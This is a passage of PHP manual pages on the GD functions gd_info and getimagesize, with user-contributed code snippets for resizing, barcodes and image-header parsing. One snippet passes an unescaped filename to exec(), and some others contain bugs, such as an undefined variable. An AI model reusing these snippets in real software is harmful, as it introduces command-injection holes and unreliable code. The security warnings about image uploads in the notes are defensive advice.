imageline($image, 0, 0, 0, $imgHeight, $colorGrey);
imageline($image, 0, 0, $imgWidth, 0, $colorGrey);
imageline($image, $imgWidth-1, 0, $imgWidth-1, $imgHeight-1, $colorGrey);
imageline($image, 0, $imgHeight-1, $imgWidth-1, $imgHeight-1, $colorGrey);

// Create grid
for ($i=1; $i<($imgWidth/$grid); $i++)
    {imageline($image, $i*$grid, 0, $i*$grid, $imgHeight, $colorGrey);}
for ($i=1; $i<($imgHeight/$grid); $i++)
    {imageline($image, 0, $i*$grid, $imgWidth, $i*$grid, $colorGrey);}

// Create line graph
if($imgWidth/$grid>count($graphValues)){$space=$grid;}
else{$space = $imgWidth/(count($graphValues)-1);}

for ($i=0; $i<count($graphValues)-1; $i++)
    {imageline($image, $i*$space, ($imgHeight-$graphValues[$i]), ($i+1)*$space, ($imgHeight-$graphValues[$i+1]), $colorBlue);}

// Output graph and clear image from memory
imagepng($image);
imagedestroy($image);
?>
michal-ok at o2 dot pl 18-Oct-2005 11:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
mslemko 09-Oct-2005 09:09
For fedora core 4 users that find that the gd library isn't installed, you can issue the command (as root)

# yum install php-gd

it should download and install the gd library. You will need to restart apache... phpinfo() should then tell you "GD Support     enabled".
timeshifting at gmail dot com 25-Aug-2005 12:39
To sharpen an image, rather than using the code below that produces a sharpening filter with php, use the built-in GD function "imageconvolution" which is designed for this purpose. Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html
jeff at lushmedia dot com 04-Nov-2003 05:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/
sellout at NoSpAm dot dharmadevil dot com 16-Apr-2003 07:06
A fun little function to output UPC-A 11-digit barcodes.
Thanks to barcodeisland.com for the specs.

<?php

function UPCAbarcode($code) {
  $lw = 2; $hi = 100;
  $Lencode = array('0001101','0011001','0010011','0111101','0100011',
                   '0110001','0101111','0111011','0110111','0001011');
  $Rencode = array('1110010','1100110','1101100','1000010','1011100',
                   '1001110','1010000','1000100','1001000','1110100');
  $ends = '101'; $center = '01010';
  /* UPC-A Must be 11 digits, we compute the checksum. */
  if ( strlen($code) != 11 ) { die("UPC-A Must be 11 digits."); }
  /* Compute the EAN-13 Checksum digit */
  $ncode = '0'.$code;
  $even = 0; $odd = 0;
  for ($x=0;$x<12;$x++) {
    if ($x % 2) { $odd += $ncode[$x]; } else { $even += $ncode[$x]; }
  }
  $code.=(10 - (($odd * 3 + $even) % 10)) % 10;
  /* Create the bar encoding using a binary string */
  $bars=$ends;
  $bars.=$Lencode[$code[0]];
  for($x=1;$x<6;$x++) {
    $bars.=$Lencode[$code[$x]];
  }
  $bars.=$center;
  for($x=6;$x<12;$x++) {
    $bars.=$Rencode[$code[$x]];
  }
  $bars.=$ends;
  /* Generate the Barcode Image */
  $img = ImageCreate($lw*95+30,$hi+30);
  $fg = ImageColorAllocate($img, 0, 0, 0);
  $bg = ImageColorAllocate($img, 255, 255, 255);
  ImageFilledRectangle($img, 0, 0, $lw*95+30, $hi+30, $bg);
  $shift=10;
  for ($x=0;$x<strlen($bars);$x++) {
    if (($x<10) || ($x>=45 && $x<50) || ($x >=85)) { $sh=10; } else { $sh=0; }
    if ($bars[$x] == '1') { $color = $fg; } else { $color = $bg; }
    ImageFilledRectangle($img, ($x*$lw)+15,5,($x+1)*$lw+14,$hi+5+$sh,$color);
  }
  /* Add the Human Readable Label */
  ImageString($img,4,5,$hi-5,$code[0],$fg);
  for ($x=0;$x<5;$x++) {
    ImageString($img,5,$lw*(13+$x*6)+15,$hi+5,$code[$x+1],$fg);
    ImageString($img,5,$lw*(53+$x*6)+15,$hi+5,$code[$x+6],$fg);
  }
  ImageString($img,4,$lw*95+17,$hi-5,$code[11],$fg);
  /* Output the Header and Content. */
  header("Content-Type: image/png");
  ImagePNG($img);
}

UPCAbarcode('12345678901');

?>


Retrieve information about the currently installed GD library

  • « GD and Image Functions
  • getimagesize »
  • PHP Manual
  • GD and Image Functions
  • Retrieve information about the currently installed GD library

gd_info

(PHP 4 >= 4.3.0, PHP 5)

gd_info — Retrieve information about the currently installed GD library

Description

array gd_info ( void )

Gets information about the version and capabilities of the installed GD library.

Return Values

Returns an associative array.

Elements of array returned by gd_info()
Attribute | Meaning
GD Version | string value describing the installed libgd version.
FreeType Support | boolean value. TRUE if FreeType Support is installed.
FreeType Linkage | string value describing the way in which FreeType was linked. Expected values are: 'with freetype', 'with TTF library', and 'with unknown library'. This element will only be defined if FreeType Support evaluated to TRUE.
T1Lib Support | boolean value. TRUE if T1Lib support is included.
GIF Read Support | boolean value. TRUE if support for reading GIF images is included.
GIF Create Support | boolean value. TRUE if support for creating GIF images is included.
JPEG Support | boolean value. TRUE if JPEG support is included.
PNG Support | boolean value. TRUE if PNG support is included.
WBMP Support | boolean value. TRUE if WBMP support is included.
XBM Support | boolean value. TRUE if XBM support is included.
WebP Support | boolean value. TRUE if WebP support is included.

Note:

Previous to PHP 5.3.0, the JPEG Support attribute was named JPG Support.

Examples

Example #1 Using gd_info()

<?php
var_dump(gd_info());
?>

The above example will output something similar to:

array(9) {
  ["GD Version"]=>
  string(24) "bundled (2.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["T1Lib Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPEG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
}

Changelog

Version | Description
5.5.0 | WebP Support added.
5.3.0 | JPG Support attribute renamed to JPEG Support.

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagejpeg() - Output image to browser or file
  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

Hagan Fox 03-May-2005 01:35
This function safely determines the GD version, even on PHP versions earlier than 4.3 that lack the gd_info() function.  Use it to avoid having your script halt with a fatal error if you try to use a TrueColor function and the GD version isn't 2.0 or later.

You can optionally specify a version, but if you specify version 2 it might be overridden.  Once the version number is determined it's retained to speed future calls.

<?php
/**
* Get which version of GD is installed, if any.
*
* Returns the version (1 or 2) of the GD extension.
*/
function gdVersion($user_ver = 0)
{
    if (! extension_loaded('gd')) { return; }
    static $gd_ver = 0;
    // Just accept the specified setting if it's 1.
    if ($user_ver == 1) { $gd_ver = 1; return 1; }
    // Use the static variable if function was called previously.
    if ($user_ver !=2 && $gd_ver > 0 ) { return $gd_ver; }
    // Use the gd_info() function if possible.
    if (function_exists('gd_info')) {
        $ver_info = gd_info();
        preg_match('/\d/', $ver_info['GD Version'], $match);
        $gd_ver = $match[0];
        return $match[0];
    }
    // If phpinfo() is disabled use a specified / fail-safe choice...
    if (preg_match('/phpinfo/', ini_get('disable_functions'))) {
        if ($user_ver == 2) {
            $gd_ver = 2;
            return 2;
        } else {
            $gd_ver = 1;
            return 1;
        }
    }
    // ...otherwise use phpinfo().
    ob_start();
    phpinfo(8);
    $info = ob_get_contents();
    ob_end_clean();
    $info = stristr($info, 'gd version');
    preg_match('/\d/', $info, $match);
    $gd_ver = $match[0];
    return $match[0];
} // End gdVersion()

// Usage:

if ($gdv = gdVersion()) {
    if ($gdv >=2) {
        echo 'TrueColor functions may be used.';
    } else {
        echo 'GD version is 1.  Avoid the TrueColor functions.';
    }
} else {
    echo "The GD extension isn't loaded.";
}
?>

The function only detects the GD version, but you could determine GD capabilities in a similar manner.
yohami dot com - zerodj at hotmail dot com 14-Jan-2004 04:09
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

    // GET IMG
    $img = imagecreatefromjpeg($picture);
    $width= imagesx($img);
    $height= imagesy($img);
    // CROP WIDTH
    if($width!=$fixedwidth){
        $ratio =$fixedwidth/$width;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
        // REFRESH
        $img = imagecreatefromjpeg($picture);
        $width= imagesx($img);
        $height= imagesy($img);
    }
    // CROP HEIGHT
    if($height!=$fixedheight){
        $ratio =$fixedheight/$height;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
    }
    //
    ImageDestroy($img);
}

?>

yeah!


Get the size of an image

  • « gd_info
  • getimagesizefromstring »
  • PHP Manual
  • GD and Image Functions
  • Get the size of an image

getimagesize

(PHP 4, PHP 5)

getimagesize — Get the size of an image

Description

array getimagesize ( string $filename [, array &$imageinfo ] )

The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.

getimagesize() can also return some more information in imageinfo parameter.

Note: Note that JPC and JP2 are capable of having components with different bit depths. In this case, the value for "bits" is the highest bit depth encountered. Also, JP2 files may contain multiple JPEG 2000 codestreams. In this case, getimagesize() returns the values for the first codestream it encounters in the root of the file.

Note: The information about icons are retrieved from the icon with the highest bitrate.

Parameters

filename

This parameter specifies the file you wish to retrieve information about. It can reference a local file or (configuration permitting) a remote file using one of the supported streams.

imageinfo

This optional parameter allows you to extract some extended information from the image file. Currently, this will return the different JPG APP markers as an associative array. Some programs use these APP markers to embed text information in images. A very common one is to embed » IPTC information in the APP13 marker. You can use the iptcparse() function to parse the binary APP13 marker into something readable.

Return Values

Returns an array with up to 7 elements. Not all image types will include the channels and bits elements.

Index 0 and 1 contains respectively the width and the height of the image.

Note:

Some formats may contain no image or may contain multiple images. In these cases, getimagesize() might not be able to properly determine the image size. getimagesize() will return zero for width and height in these cases.

Index 2 is one of the IMAGETYPE_XXX constants indicating the type of the image.

Index 3 is a text string with the correct height="yyy" width="xxx" string that can be used directly in an IMG tag.

mime is the correspondant MIME type of the image. This information can be used to deliver images with the correct HTTP Content-type header:

Example #1 getimagesize() and MIME types

<?php
$size = getimagesize($filename);
$fp = fopen($filename, "rb");
if ($size && $fp) {
    header("Content-type: {$size['mime']}");
    fpassthru($fp);
    exit;
} else {
    // error
}
?>

channels will be 3 for RGB pictures and 4 for CMYK pictures.

bits is the number of bits for each color.

For some image types, the presence of channels and bits values can be a bit confusing. As an example, GIF always uses 3 channels per pixel, but the number of bits per pixel cannot be calculated for an animated GIF with a global color table.

On failure, FALSE is returned.

Errors/Exceptions

If accessing the filename image is impossible getimagesize() will generate an error of level E_WARNING. On read error, getimagesize() will generate an error of level E_NOTICE.

Changelog

Version | Description
5.3.0 | Added icon support.
5.2.3 | Read errors generated by this function downgraded to E_NOTICE from E_WARNING.
4.3.2 | Support for JPC, JP2, JPX, JB2, XBM, and WBMP became available.
4.3.2 | JPEG 2000 support was added for the imageinfo parameter.
4.3.0 | bits and channels are present for other image types, too.
4.3.0 | Support for SWC and IFF was added.
4.2.0 | Support for TIFF was added.
4.0.6 | Support for BMP and PSD was added.

Examples

Example #2 getimagesize() example

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr alt=\"getimagesize() example\" />";
?>

Example #3 getimagesize (URL)

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// if the file name has space in it, encode it properly
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

Example #4 getimagesize() returning IPTC

<?php
$size = getimagesize("testimg.jpg", $info);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]);
    var_dump($iptc);
}
?>

Notes

Note:

This function does not require the GD image library.

See Also

  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image

User Contributed Notes

kazuya 11-Mar-2014 11:19
i made function img_resize($path,$tmp_name,$new_name,$new_width)
this could be useful.

<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
tomasz at trejderowski dot pl 06-Sep-2013 06:47
If you want to "convert" value returned by "getimagesize()" as index "2" into something more human-readable, you may consider using a function like this one:

    $imageTypeArray = array
    (
        0=>'UNKNOWN',
        1=>'GIF',
        2=>'JPEG',
        3=>'PNG',
        4=>'SWF',
        5=>'PSD',
        6=>'BMP',
        7=>'TIFF_II',
        8=>'TIFF_MM',
        9=>'JPC',
        10=>'JP2',
        11=>'JPX',
        12=>'JB2',
        13=>'SWC',
        14=>'IFF',
        15=>'WBMP',
        16=>'XBM',
        17=>'ICO',
        18=>'COUNT'
    );

    $size = getimagesize($filename);

    $size[2] = $imageTypeArray[$size[2]];

Or something similar.
eng dot honey007 at gmail dot com 21-Apr-2013 11:40
function Get_Image_size($img,$req){
  $get    = getimagesize($img);
  $width  = $get[0];
  $height = $get[1];
  $type   = $get[2];
  $attr   = $get[3];
  $bits   = $get['bits'];
  $mime   = $get['mime'];
  return $$req;
}
echo Get_Image_size('5.png','attr');
chris at ocportal dot com 18-Jun-2012 07:59
Note that animated gifs may have frames width different dimensions. This function will not get the first frame's width/height. GIFs define "Logical Screen Descriptor" dimensions, which are the maximum for all frames.

To get the screen descriptor dimensions, use:

<?php
$header = unpack('@6/vwidth/vheight', $binaryData);
// $header['width'] and $header['width'];
?>
alexyam at live dot com 16-Feb-2012 08:30
I wanted to use getimagesize() on .SWF files stored in the database as blob data and couldn't find a simple solution, so I created my own.

I am releasing this code under the MIT license to save everyone some time:

<?php
/*
    ----------------------------------------------------------------------
    PHP Blob Data As File Stream v1.0 (C) 2012 Alex Yam <alexyam@live.com>
    This code is released under the MIT License.
    ----------------------------------------------------------------------
    [Summary]

    A simple class for PHP functions to read and write blob data as a file
    using a stream wrapper.

    Particularly useful for running getimagesize() to get the width and
    height of .SWF Flash files that are stored in the database as blob data.

    Tested on PHP 5.3.10.

    ----------------------------------------------------------------------
    [Usage Example]

    //Include
        include('./blob_data_as_file_stream.php');

    //Register the stream wrapper
        stream_wrapper_register("BlobDataAsFileStream", "blob_data_as_file_stream");

    //Fetch a .SWF file from the Adobe website and store it into a variable.
    //Replace this with your own fetch-swf-blob-data-from-database code.
        $swf_url = 'http://www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf';
        $swf_blob_data = file_get_contents($swf_url);

    //Store $swf_blob_data to the data stream
        blob_data_as_file_stream::$blob_data_stream = $swf_blob_data;

    //Run getimagesize() on the data stream
        $swf_info = getimagesize('BlobDataAsFileStream://');
        var_dump($swf_info);

    ----------------------------------------------------------------------
    [Usage Output]

    array(5) {
      [0]=>
      int(159)
      [1]=>
      int(91)
      [2]=>
      int(13)
      [3]=>
      string(23) "width="159" height="91""
      ["mime"]=>
      string(29) "application/x-shockwave-flash"
    }

*/

class blob_data_as_file_stream {

    private static $blob_data_position = 0;
    public static $blob_data_stream = '';

    public static function stream_open($path,$mode,$options,&$opened_path){
        static::$blob_data_position = 0;
        return true;
    }

    public static function stream_seek($seek_offset,$seek_whence){
        $blob_data_length = strlen(static::$blob_data_stream);
        switch ($seek_whence) {
            case SEEK_SET:
                $new_blob_data_position = $seek_offset;
                break;
            case SEEK_CUR:
                $new_blob_data_position = static::$blob_data_position+$seek_offset;
                break;
            case SEEK_END:
                $new_blob_data_position = $blob_data_length+$seek_offset;
                break;
            default:
                return false;
        }
        if (($new_blob_data_position >= 0) AND ($new_blob_data_position <= $blob_data_length)){
            static::$blob_data_position = $new_blob_data_position;
            return true;
        }else{
            return false;
        }
    }

    public static function stream_tell(){
        return static::$blob_data_position;
    }

    public static function stream_read($read_buffer_size){
        $read_data = substr(static::$blob_data_stream,static::$blob_data_position,$read_buffer_size);
        static::$blob_data_position += strlen($read_data);
        return $read_data;
    }

    public static function stream_write($write_data){
        $write_data_length=strlen($write_data);
        static::$blob_data_stream = substr(static::$blob_data_stream,0,static::$blob_data_position).
            $write_data.substr(static::$blob_data_stream,static::$blob_data_position+=$write_data_length);
        return $write_data_length;
    }

    public static function stream_eof(){
        return static::$blob_data_position >= strlen(static::$blob_data_stream);
    }

}
?>
utilmind 23-Jul-2011 12:17
Here is the function which determines whether the PNG image contains alpha or not:

<?php
function is_alpha_png($fn){
  return (ord(@file_get_contents($fn, NULL, NULL, 25, 1)) == 6);
}
?>

The color type of PNG image is stored at byte offset 25. Possible values of that 25'th byte is:
 * 0 - greyscale
 * 2 - RGB
 * 3 - RGB with palette
 * 4 - greyscale + alpha
 * 6 - RGB + alpha
Steve 18-Apr-2011 12:12
The list of defined IMAGETYPE_ constants is on the manual page for exif_imagetype:

http://www.php.net/manual/en/function.exif-imagetype.php
msfs11 at gmail dot com 06-Apr-2011 01:07
One more reason of "Error: getimagesize(): Read error!" may be an zero file size. Check the file size first with function filesize( $file ).
kumarldh at gmail dot com 14-Mar-2011 10:44
I spent quite a time and realised one needs "allow_url_fopen" turned on to be able to use getimagesize(). Hope this help others.
Jesus Zamora 13-Feb-2011 03:20
Returns a array with 4 elements.
The 0 index is the width of the image in pixels.
The 1 index is the height of the image in pixels.
The 2 index is a flag for the image type:

1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(orden de bytes intel), 8 = TIFF(orden de bytes motorola), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF, 15 = WBMP, 16 = XBM.

The 3 index contains ' height="yyy" width="xxx" '
falkon303 at gmail dot com 10-Feb-2011 07:01
Here's a simple way to resize your images based on a percentage.

<?php

$image_path = "images/your_image.png";

list($width, $height, $type, $attr)= getimagesize($image_path);

//specify what percentage you are resizing to
$percent_resizing = 80;

$new_width = round((($percent_resizing/100)*$width));
$new_height = round((($percent_resizing/100)*$height));

echo '<img src="'.$image_path.'" height="'.$new_height.'" width="'.$new_width.'">';

?>
Urchin 08-Feb-2011 10:00
On a Debian machine I had a lot of Notices in my log because the system did not understand spaces. While the str_replace and rawurlencode options are ok for remote images, for the local system it is of no use.

I used the following:

getimagesize('"'.$location.'"');

so basically I quoted the location (single_quot-dubble_quote-single_quote).
modnyj at gmail dot com 26-Apr-2010 01:34
A simple method to resize a image keeping the constraint proportions:

<?php
// Constraints
$max_width = 100;
$max_height = 100;
list($width, $height) = getimagesize($img_path);
$ratioh = $max_height/$height;
$ratiow = $max_width/$width;
$ratio = min($ratioh, $ratiow);
// New dimensions
$width = intval($ratio*$width);
$height = intval($ratio*$height);
?>
@hill79 18-Feb-2010 04:57
I needed to find image dimensions for use in some dynamic css, since getimagesize() returns width="x" height="y" at index 3 I had to convert that to a valid CSS format.

Thought I'd share the function in case anyone else needs the same.

<?php
function cssifysize($img) {
$dimensions = getimagesize($img);
$dimensions = str_replace("=\"", ":", $dimensions['3']);
$dimensions = str_replace("\"", "px;", $dimensions);
return $dimensions;
}

returns width:x;height:y;
?>

I expect there's a way of making that more efficient
Nikki 27-Jan-2010 12:26
This should be easy, but I've re-solved the problem so many times.  Hopefully this is useful:

<?php
// Usage example to find the proper dimensions to resize an image down to 300x400 pixels maximum:
list($width, $height) = getimagesize($image);
$new_dimensions = resize_dimensions(300,400,$width,$height);

// Calculates restricted dimensions with a maximum of $goal_width by $goal_height
function resize_dimensions($goal_width,$goal_height,$width,$height) {
    $return = array('width' => $width, 'height' => $height);

    // If the ratio > goal ratio and the width > goal width resize down to goal width
    if ($width/$height > $goal_width/$goal_height && $width > $goal_width) {
        $return['width'] = $goal_width;
        $return['height'] = $goal_width/$width * $height;
    }
    // Otherwise, if the height > goal, resize down to goal height
    else if ($height > $goal_height) {
        $return['width'] = $goal_height/$height * $width;
        $return['height'] = $goal_height;
    }

    return $return;
}
?>
swapnil dot nkene at gmail dot com 03-Dec-2009 11:08
A simplest method to resize a image keeping the constraint proportions.

<?php
list($width, $height, $type, $attr)=getimagesize($imagepath);
$ht=$height;
$wd=$width;
if($width>180){
    $diff = $width-180;
    $percnt_reduced = (($diff/$width)*100);
    $ht = $height-(($percnt_reduced*$height)/100);
    $wd= $width-$diff;
}
if($height>180){
    $diff = $height-180;
    $percnt_reduced = (($diff/$height)*100);
    $wd = $width-(($percnt_reduced*$width)/100);
    $ht= $height-$diff;
}
?>
geoff at spacevs dot com 21-Oct-2009 08:22
This function returns the width and height of a JPEG image from a string, allowing the dimensions of images stored in a database to be retrieved without writing them to the disk first, or using "imagecreatefromstring" which is very slow in comparison.

<?PHP
function getJPEGImageXY($data) {
        $soi = unpack('nmagic/nmarker', $data);
        if ($soi['magic'] != 0xFFD8) return false;
        $marker = $soi['marker'];
        $data   = substr($data, 4);
        $done   = false;

        while(1) {
                if (strlen($data) === 0) return false;
                switch($marker) {
                        case 0xFFC0:
                                $info = unpack('nlength/Cprecision/nY/nX', $data);
                                return array($info['X'], $info['Y']);
                                break;

                        default:
                                $info   = unpack('nlength', $data);
                                $data   = substr($data, $info['length']);
                                $info   = unpack('nmarker', $data);
                                $marker = $info['marker'];
                                $data   = substr($data, 2);
                                break;
                }
        }
}
?>

Doing this 10,000 times takes 0.43 seconds, compared with using imagecreatefromstring/imagesx/imagesy which takes around 1.52 seconds to do the same.

Do not use this instead of getimagesize when dealing with files, getimagesize is much faster coming in at 0.15 seconds.
mycrazydream 24-Jul-2009 06:00
I had for quite some time been using getimagesize() to check for the existence of a remote image. This turned out to take way too long. The following curl solution only checks the http headers so it is much more efficient.

<?php
function checkRemoteFile($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    // don't download content
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    curl_setopt($ch, CURLOPT_FAILONERROR, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if(curl_exec($ch)!==FALSE)
    {
        return true;
    }
    else
    {
        return false;
    }
}

?>
anonymous 15-Jul-2009 10:37
Well there are a lot of image scaling functions here. Here is my take on it.

<?php
function get_scaled_dim_array($img,$max_w = 100, $max_h = NULL){
    if(is_null($max_h)){
        $max_h = $max_w;
    }
    if (file_exists($img)){
        list($img_w,$img_h) = getimagesize($img);
        $f = min($max_w/$img_w, $max_h/$img_h, 1);
        $w = round($f * $img_w);
        $h = round($f * $img_h);
        return array($w,$h);
    }
    return NULL;
}
?>
james dot relyea at zifiniti dot com 08-Feb-2009 05:49
As noted below, getimagesize will download the entire image before it checks for the requested information. This is extremely slow on large images that are accessed remotely. Since the width/height is in the first few bytes of the file, there is no need to download the entire file. I wrote a function to get the size of a JPEG by streaming bytes until the proper data is found to report the width and height:

<?php
// Retrieve JPEG width and height without downloading/reading entire image.
function getjpegsize($img_loc) {
    $handle = fopen($img_loc, "rb") or die("Invalid file stream.");
    $new_block = NULL;
    if(!feof($handle)) {
        $new_block = fread($handle, 32);
        $i = 0;
        if($new_block[$i]=="\xFF" && $new_block[$i+1]=="\xD8" && $new_block[$i+2]=="\xFF" && $new_block[$i+3]=="\xE0") {
            $i += 4;
            if($new_block[$i+2]=="\x4A" && $new_block[$i+3]=="\x46" && $new_block[$i+4]=="\x49" && $new_block[$i+5]=="\x46" && $new_block[$i+6]=="\x00") {
                // Read block size and skip ahead to begin cycling through blocks in search of SOF marker
                $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                $block_size = hexdec($block_size[1]);
                while(!feof($handle)) {
                    $i += $block_size;
                    $new_block .= fread($handle, $block_size);
                    if($new_block[$i]=="\xFF") {
                        // New block detected, check for SOF marker
                        $sof_marker = array("\xC0", "\xC1", "\xC2", "\xC3", "\xC5", "\xC6", "\xC7", "\xC8", "\xC9", "\xCA", "\xCB", "\xCD", "\xCE", "\xCF");
                        if(in_array($new_block[$i+1], $sof_marker)) {
                            // SOF marker detected. Width and height information is contained in bytes 4-7 after this byte.
                            $size_data = $new_block[$i+2] . $new_block[$i+3] . $new_block[$i+4] . $new_block[$i+5] . $new_block[$i+6] . $new_block[$i+7] . $new_block[$i+8];
                            $unpacked = unpack("H*", $size_data);
                            $unpacked = $unpacked[1];
                            $height = hexdec($unpacked[6] . $unpacked[7] . $unpacked[8] . $unpacked[9]);
                            $width = hexdec($unpacked[10] . $unpacked[11] . $unpacked[12] . $unpacked[13]);
                            return array($width, $height);
                        } else {
                            // Skip block marker and read block size
                            $i += 2;
                            $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                            $block_size = hexdec($block_size[1]);
                        }
                    } else {
                        return FALSE;
                    }
                }
            }
        }
    }
    return FALSE;
}
?>
anonymous 23-Nov-2008 05:30
Note that if you specify a remote file (via a URL) to check the size of, PHP will first download the remote file to your server.

If you're using this function to check the size of user provided image links, this could constitute a security risk.  A malicious user could potentially link to a very large image file and cause PHP to download it.  I do not know what, if any, file size limits are in place for the download.  But suppose the user provided a link to an image that was several gigabytes in size?

It would be nice if there were a way to limit the size of the download performed by this function.  Hopefully there is already a default with some sensible limits.
user at example dot net 23-Jul-2008 06:13
When validating images, allways check both, image type *AND* file extension!

Because most image types allow sections for comments or other irrelevant data. Those section can be used to infiltrate php code onto the server. If these files are stored as sent by the client, files with a ".php" extension can be executed and do tremendous harm.
mike 26-Apr-2008 01:26
Great script shmohel, a bit more minified...

<?php

function scale_image($p,$mw='',$mh='') { // path max_width max_height
    if(list($w,$h) = @getimagesize($p)) {
    foreach(array('w','h') as $v) { $m = "m{$v}";
        if(${$v} > ${$m} && ${$m}) { $o = ($v == 'w') ? 'h' : 'w';
        $r = ${$m} / ${$v}; ${$v} = ${$m}; ${$o} = ceil(${$o} * $r); } }
    return("<img src='{$p}' alt='image' width='{$w}' height='{$h}' />"); }
}

?>
devon at example dot com 07-Apr-2008 09:14
***********************************
Copies Source Image to Destination Image
***********************************
1. Copies source image
2. Calculates image dimensions
3. Resizes image (you specify max height/width)
4. Retains aspect ratio
5. Writes destination image
***********************************
This was created from a variety of code snippets
I've found here at php.net and other places on the web.
I take no credit for any of this code other than
putting the pieces together.

<?php

$source_pic = 'images/source.jpg';
$destination_pic = 'images/destination.jpg';
$max_width = 500;
$max_height = 500;

$src = imagecreatefromjpeg($source_pic);
list($width,$height)=getimagesize($source_pic);

$x_ratio = $max_width / $width;
$y_ratio = $max_height / $height;

if( ($width <= $max_width) && ($height <= $max_height) ){
    $tn_width = $width;
    $tn_height = $height;
    }elseif (($x_ratio * $height) < $max_height){
        $tn_height = ceil($x_ratio * $height);
        $tn_width = $max_width;
    }else{
        $tn_width = ceil($y_ratio * $width);
        $tn_height = $max_height;
}

$tmp=imagecreatetruecolor($tn_width,$tn_height);
imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

imagejpeg($tmp,$destination_pic,100);
imagedestroy($src);
imagedestroy($tmp);

?>
info at alex-lawrence dot com 02-Apr-2008 02:17
Could be useful (didn´t know where to post it):

function getImageErrors( $filename, $type = "", $minWidth = 0, $minHeight = 0, $maxWidth = 0, $maxHeight = 0, $maxFileSize = 0 )
{
    $errors = array();
    if ( file_exists( $filename ) )
    {
        $ending = substr( $filename, strpos( $filename, "." ) );
        if ( is_array( $type ) )
        {
            $isTypeOf = false;
            foreach( $type as $eachtype )
            {
                if ( $ending == $eachtype )
                {
                    $isTypeOf = true;
                }
            }
            if ( ! $isTypeOf )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        elseif ( $type != "" )
        {
            if ( $ending != $type )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        $size = getimagesize( $filename );
        if ( $size[ 0 ] < $minWidth )
        {
            $errors[ 'minWidth' ] = $size[ 0 ];
        }
        if ( $size[ 1 ] < $minHeight )
        {
            $errors[ 'minHeight' ] = $size[ 1 ];
        }
